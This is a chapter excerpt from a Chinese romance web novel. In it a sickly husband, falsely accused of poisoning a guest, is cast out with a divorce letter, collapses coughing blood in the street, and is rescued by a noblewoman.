    “那就是无人对证了?”谢晚的声音冷了下来。她看着沈玦苍白的脸,又看看痛苦呻吟的裴渠,想起前几日父亲的话语,想起沈玦那冰冷失望的眼神,想起他对自己带裴渠回来的沉默抗拒……一股邪火混合着连日来的压力与某种被背叛的猜疑,猛地窜上心头。


    难道……他真的因嫉生恨,做出这等下作之事?只因为裴渠是她的“救命恩人”,得了她的青眼?


    “我没有。”沈玦迎着她的目光,一字一句道,眼底是清晰的屈辱与倔强,“我不屑于此。”


    “证据呢?”谢晚脱口而出,话一出口,自己也愣了一下,但看着裴渠痛苦的样子,想到若真是沈玦所为,其心可诛,语气便又硬了起来,“墨竹不在,食盒无人认领,裴公子用了你院‘送出’的糕点便成了这样!沈玦,你告诉我,这是巧合?”


    沈玦看着她,那双沉静的黑眸里,最后一点微弱的光,终于彻底熄灭了。他忽然觉得无比荒谬,也无比疲惫。辩解?在谢晚带着先入为主的猜忌看向他的那一刻,任何辩解都是徒劳。


    他扯了扯嘴角,想笑,却没能笑出来,只化作一声极轻的、带着血腥气的叹息。


    就在这时,闻讯赶来的谢秉坤冲了进来,一看这场面,尤其是裴渠那副模样,顿时火冒三丈,指着沈玦的鼻子骂道:“好啊!你个狼心狗肺的东西!谢家供你吃穿,养着你这么个病痨鬼,你不感恩也就罢了,竟敢对家里的客人下毒手!你这是要害死裴公子,还是要毁了谢家的名声?!”


    他转向谢晚,疾言厉色:“晚儿!你还要护着这个祸害到几时?今日他能对裴公子下手,明日是不是就要对你我下手?此等心肠歹毒、毫无容人之量的妒夫,留在家中,迟早是个祸患!”


    谢晚被父亲吼得心烦意乱,看着沈玦那死水般的眼神,又看看裴渠惨白的脸,大夫正在诊脉,眉头紧锁。她心乱如麻,各种念头纷至沓来:沈玦的沉默与抗拒,裴渠的救命之恩与温文无害,父亲的逼迫,生意的压力,还有前世沈玦那染血的遗书……这一切交织成一张大网,将她牢牢捆住,几乎窒息。


    “我没有。”沈玦又重复了一遍,声音很轻,却带着一种破碎的清晰。他看着谢晚,仿佛想从她眼中找到最后一点信任的微光。


    谢晚避开了他的视线。


    谢秉坤见状,立刻趁热打铁,高声道:“这样的夫君,留有何用?晚儿,听爹一句劝,一纸休书,打发了他!干干净净!也好给裴公子一个交代,给丁府那边……一个态度!”


    休书。


    两个字,如同惊雷,炸响在寂静的花园凉亭内。


    所有人都愣住了,包括痛苦呻吟的裴渠,也微微睁开了眼。


    沈玦身体几不可察地晃了一下,脸色瞬间惨白如纸,连最后一丝血色也褪得干干净净。他缓缓地、缓缓地转过头,看向谢秉坤,又看向侧着脸、紧抿着唇的谢晚。


    男人……被休?


    他沈玦,读了这么多年圣贤书,谨守礼义廉耻,纵使落魄,纵使病弱,纵使不被岳家所喜,被妻子轻视,甚至被当作货物权衡……他也从未想过,有朝一日,会面临“被休”的耻辱。


    这已不是简单的舍弃或背叛。这是将他作为男子的尊严,踩在脚底,碾入泥泞,再公之于众的极致羞辱。


    何其可笑。


    何其可悲。


    他忽然低低地笑了起来,笑声喑哑,如同破损的风箱,带着无尽的苍凉与自嘲。笑着笑着,眼角却干涩得没有一滴泪。


    他最后看了一眼谢晚,那眼神空茫,仿佛穿透了她,看向了某个遥不可及、又或者早已死去的过去。


    然后,他不再看任何人,挺直了那单薄得仿佛随时会折断的脊背,一步一步,缓缓地、却异常平稳地,走出了这座让他窒息了多年的华丽囚笼。


    阳光明媚,花香袭人,他却只觉得周身冰寒,如同置身数九寒冬。


    这世上,果然再无他的容身之处。


    而凉亭角落,一个身着浅碧衣衫、丫鬟打扮的秀丽女子,悄然收回望向沈玦离去方向的视线,垂下眼,掩去了眸中一闪而过的复杂神色。


    正是丁仪派来的青禾。


    沈玦不知道自己是怎么走出谢府那扇朱红大门的。


    阳光刺眼,街市喧嚷,孩童的嬉笑,货郎的叫卖,车马的辚辚声……一切声音和光影都扭曲成模糊的背景,嗡嗡作响,却又仿佛隔着一层厚重的琉璃,传不进他耳中,也落不到他眼里。他只觉得胸口堵着一团浸透了冰水的棉絮,沉甸甸,湿漉漉,每一次呼吸都牵扯出尖锐的刺痛,和一股翻涌不休的、带着铁锈味的腥甜。


    被休。


    两个字反复碾过脑海,碾碎了他最后一点摇摇欲坠的支撑。男人被休,千古未闻之奇耻。他沈玦,生来便是错么?家世是错,病弱是错,读书是错,不肯趋炎附势是错,甚至连活着,都成了谢家父女眼中碍眼的错!


    气血在冰冷的四肢百骸里逆冲乱窜,眼前阵阵发黑。他扶着街边粗糙的墙壁,指甲抠进砖缝,试图稳住身形,可那黑暗来得又急又猛,带着吞噬一切的力量。


    “唔——”


    一口猩甜猛地冲上喉头,他猝不及防,温热的液体已顺着嘴角溢出,滴落在前襟月白的布料上,迅速洇开一小团刺目的红。与此同时,天旋地转,耳边所有的声音骤然拉远、消失……


    “沈公子!”


    隐约似乎听到一声熟悉的、带着惊惶的女子低呼,但他已无力分辨。意识沉入无边黑暗的前一瞬,只感觉身体一轻,仿佛落入了一个带着清雅香气的、柔软的怀抱。


    ……


    “这才几天没见,你就把自己搞成了这个样子?”


    带着怒意、却又难掩焦灼的嗓音,像是从很远的地方传来,穿透了层层迷雾。沈玦蹙紧眉头,想要避开这扰人的声音,却连抬起眼皮的力气都没有。


    丁仪几乎是接到青禾传讯的瞬间便赶了过来。她没想到,自己只是派个人去“看看”,看到的竟是沈玦吐血晕倒在街边的凄惨景象。此刻,她半跪在车厢柔软的地毯上,将昏迷不醒的沈玦紧紧抱在怀里,手指触及他冰凉汗湿的额头和嘴角未干的血迹,心头那股无名火与某种陌生的刺痛交织翻腾。


    她吩咐车夫以最快速度赶回别庄,又命青禾立刻去请王大夫。低下头,看着怀中人苍白如纸的脸,紧闭的眼睫在眼下投出浓重阴影,唇上那抹血迹红得惊心。几日不见,他好像又瘦了许多。


    丁仪下意识地将他往怀里拢了拢,手臂用了些力,想让他更安稳些。这一用力,却让她整个人猛地一僵。


    轻。


    太轻了。


    怀里的躯体,隔着衣物,几乎感觉不到什么分量,骨骼的轮廓清晰得硌人,仿佛只剩下薄薄一层皮囊包裹着支离的病骨。完全不像一个成年男子的体量。


    一种从未有过的、尖锐的疼惜,猝不及防地攫住了丁仪的心脏,让她呼吸都为之一滞。她见过他冷淡,见过他隐忍,见过他洞悉一切后的疏离嘲弄,却从未想过,这具支撑着那身清傲风骨的躯体,竟已孱弱、单薄至此。


    谢晚……谢家……他们到底是如何待他的?竟将他磋磨至此等地步!


    怒火与那陌生的疼意烧灼着她的理智。她抿紧唇,用指尖小心翼翼擦去他唇边血迹,动作是从未有过的轻柔。


    “快些!”她忍不住对车外催促,声音带着一丝自己都未察觉的颤抖。


    ……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)